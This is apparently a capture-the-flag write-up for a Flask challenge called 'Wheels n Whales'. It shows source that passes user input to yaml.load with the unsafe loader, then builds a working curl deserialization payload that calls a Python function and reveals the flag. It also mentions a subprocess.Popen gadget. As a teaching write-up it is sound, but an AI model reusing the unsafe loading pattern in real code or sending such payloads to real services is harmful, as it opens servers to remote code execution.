Wheels n Whales
“I’ve heard that Whales and Wheels are the new hot thing. So a buddy of mine build a website where you can get your own. I think he hid an easter egg somewhere, but I can’t get to it, can you help me?”
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
| import yaml
from flask import redirect, Flask, render_template, request, abort
from flask import url_for, send_from_directory, make_response, Response
import flag
app = Flask(__name__)
EASTER_WHALE = {"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34}
@app.route("/")
def index():
return render_template("index.html.jinja", active="home")
class Whale:
def __init__(self, name, image_num, weight):
self.name = name
self.image_num = image_num
self.weight = weight
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/whale", methods=["GET", "POST"])
def whale():
if request.method == "POST":
name = request.form["name"]
if len(name) > 10:
return make_response("Name to long. Whales can only understand names up to 10 chars", 400)
image_num = request.form["image_num"]
weight = request.form["weight"]
whale = Whale(name, image_num, weight)
if whale.__dict__ == EASTER_WHALE:
return make_response(flag.get_flag(), 200)
return make_response(render_template("whale.html.jinja", w=whale, active="whale"), 200)
return make_response(render_template("whale_builder.html.jinja", active="whale"), 200)
class Wheel:
def __init__(self, name, image_num, diameter):
self.name = name
self.image_num = image_num
self.diameter = diameter
@staticmethod
def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
def dump(self):
return yaml.dump(self.__dict__)
@app.route("/wheel", methods=["GET", "POST"])
def wheel():
if request.method == "POST":
if "config" in request.form:
wheel = Wheel.from_configuration(request.form["config"])
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
name = request.form["name"]
image_num = request.form["image_num"]
diameter = request.form["diameter"]
wheel = Wheel(name, image_num, diameter)
print(wheel.dump())
return make_response(render_template("wheel.html.jinja", w=wheel, active="wheel"), 200)
return make_response(render_template("wheel_builder.html.jinja", active="wheel"), 200)
if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000)
|
Understanding the program
web.py
is a Flask application, where Flask is - in short - a Python framework to create websites.
The flag is displayed if we manage to create an “Easter Whale”:
1
2
3
4
5
6
7
| import flag
...
EASTER_WHALE = {"name": "TheBestWhaleIsAWhaleEveryOneLikes", "image_num": 2, "weight": 34}
...
if whale.__dict__ == EASTER_WHALE:
return make_response(flag.get_flag(), 200)
|
The problem is that we can’t (normally) create such a whale, because whale names are limited to 10 characters:
1
2
3
4
5
6
| @app.route("/whale", methods=["GET", "POST"])
def whale():
if request.method == "POST":
name = request.form["name"]
if len(name) > 10:
return make_response("Name to long. Whales can only understand names up to 10 chars", 400)
|
We don’t have wheels without a reason
The program also allows to create wheels. Wheels can be instantiated using the standard constructor, or read from a YAML configuration file:
1
2
| def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
|
Have a look on Internet, and you’ll see everywhere that using the standard YAML loader is not safe.
“Warning: It is not safe to call yaml.load with any data received from an untrusted source! “
In a CTF, this is certainly not genuine, the flaw is there on purpose and we must exploit it.
Posting a configuration
So, we’ll be abusing the yaml.load
function, which requires that we perform an HTTP POST on wheel
, and provide a config
in the form:
1
2
3
4
5
6
7
8
9
10
11
12
|
@staticmethod
def from_configuration(config):
return Wheel(**yaml.load(config, Loader=yaml.Loader))
[..]
@app.route("/wheel", methods=["GET", "POST"])
def wheel():
if request.method == "POST":
if "config" in request.form:
wheel = Wheel.from_configuration(request.form["config"])
|
We can do the POST with curl:
curl -X POST -d 'config=...'
How I wasted hours stupidly
My goal was to create that Easter Whale, and I spent hours understanding which exact syntax to use.
I saw here that we could create objects using the syntax !!python/object:CLASS ...
.
As Whales are defined in web.py
, we need to specify web.Whale
.
I tried locally on my host, and the Flask application would complain all the time: “TypeError: type object argument after ** must be a mapping, not Whale”
I tried several things:
- Create multiple YAML documents. Error: “expected a single document in the stream”
- Different syntax to provide the document using the serialized or the unserialized form
- Adding URL encoding in characters
- Using different options of curl (–data-binary, -F…)
1
2
3
4
5
| curl -X POST -d 'config="""\n!!python/object:web.Whale\nname:TheBestWhaleIsAWhaleEveryOneLikes\nimage_num:2\nweight:34"""' http://127.0.0.1:5000/wheel
curl -X POST -d 'config="""\n!!python/object:web.Whale\nname:TheBestWhaleIsAWhaleEveryOneLikes\nimage_num:2\nweight:34"""' http://127.0.0.1:5000/wheel
curl -X POST -d 'config="""\n!!python/object:web.Whale\nname: TheBestWhaleIsAWhaleEveryOneLikes\nimage_num: 2\nweight: 34"""' http://127.0.0.1:5000/wheel
curl -X POST -d 'config=\"\"\"%0A%21%21python/object:web.Whale%0Aname: TheBestWhaleIsAWhaleEveryOneLikes%0Aimage_num: 2%0Aweight: 34%0A\"\"\"' http://127.0.0.1:5000/wheel
curl -X POST -d 'config=\"\"\"%0A%21%21python/object:web.Whale%0A%20name%3A%20TheBestWhaleIsAWhaleEveryOneLikes%0A%20image_num:%202%0A%20weight:%2034%0A\"\"\"' http://127.0.0.1:5000/wheel
|
Closer to the solution
I stumbled on YAML Deserialization Attack in Python. I learned that it was possible to launch process that way:
`””"!!python/object/apply:subprocess:Popen
I struggled with the formatting and it didn’t work.
I tried again with a non-serialized syntax: !!python/object/apply:builtins.range [1, 10, 1]
and it worked better, except it refused to create a range, because it was expecting a mapping.
Solution
Then, after a while (and lots of despair), I realized that even if I managed to create my Easter Whale, it wouldn’t help me very much, because how would I then get the flag? The flag would only be displayed if I posted such a whale on the /whale
page. So, I thought: how about simply calling get_flag()
.
I concentrated on this goal:
- We need the
!!python/object/apply
syntax - Function
get_flag()
is in the flag
module, so I’ll need to call flag.get_flag
After a few attempts, it was still complaining that it was expecting a mapping for the Wheel object.
So, I got the idea to put that !!python/object
stuff inside a field of the Wheel object.
{name: !!python/object/apply:flag.get_flag [], image_num: 2, diameter: 5}
We don’t care at all about image_num
and diameter
(but must provide them to create the Wheel).
Finally, I worked out the final solution with some URL encoding:
1
2
3
4
5
6
7
8
9
10
11
12
| curl -X POST -d 'config={name:%20!!python/object/apply:flag.get_flag [], image_num: 2, diameter: 5}' http://chal.cybersecurityrumble.de:7780/wheel
[..]
<h1>Here you go</h1>
<h1>CSR{TH3_QU3STION_I5_WHY_WHY_CAN_IT_DO_THAT?!?}</h1>
Diameter: 5
<code>
diameter: 5
image_num: 2
name: CSR{TH3_QU3STION_I5_WHY_WHY_CAN_IT_DO_THAT?!?}
[..]
|
Despite “easy”, I learned a lot with this challenge and enjoyed it. I had no idea about this YAML exploit, and will be certain to be cautious if I ever need to use it in the future.